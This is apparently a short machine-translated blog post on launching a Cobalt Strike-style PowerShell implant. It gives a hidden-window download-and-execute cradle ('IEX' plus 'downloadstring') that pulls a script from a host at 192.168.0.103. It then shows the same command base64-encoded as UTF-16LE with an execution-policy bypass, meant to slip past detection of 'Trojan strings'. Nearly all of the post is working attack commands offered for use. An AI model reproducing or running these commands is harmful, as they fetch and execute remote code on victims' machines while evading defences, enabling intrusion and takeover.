PowerShell cs-utf-16le code goes online

0x01 Preface

When we are going to launch the host , It may be because your code contains Trojan strings , Unable to go online

0x02 problem

---

1、 Example
powershell.exe -exec bypass -encodedCommand ZQBjAGgAbwAgACIAMQAyADMAIgA=

2、 Original sentence
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.103:80/a'))"

3、UTF-16LE After the coding （ stay powershell It can be directly executed ）
powershell.exe -w hidden -exec bypass -encodedCommand SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADEAMAAzADoAOAAwAC8AYQAnACkAKQA=

Host online